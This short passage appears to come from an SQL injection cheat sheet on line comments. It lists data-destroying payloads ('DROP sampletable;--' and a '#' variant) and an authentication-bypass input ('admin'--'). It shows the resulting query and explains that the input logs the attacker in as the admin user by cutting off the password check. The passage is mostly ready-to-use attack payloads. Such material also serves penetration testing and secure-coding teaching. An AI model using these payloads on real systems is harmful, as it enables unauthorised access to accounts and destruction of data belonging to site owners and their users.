Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

DROP sampletable;-- 
 
DROP sampletable;#

Line Comments Sample SQL Injection Attacks

Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
This IS going TO log you AS admin USER, because rest OF the SQL query will be ignored.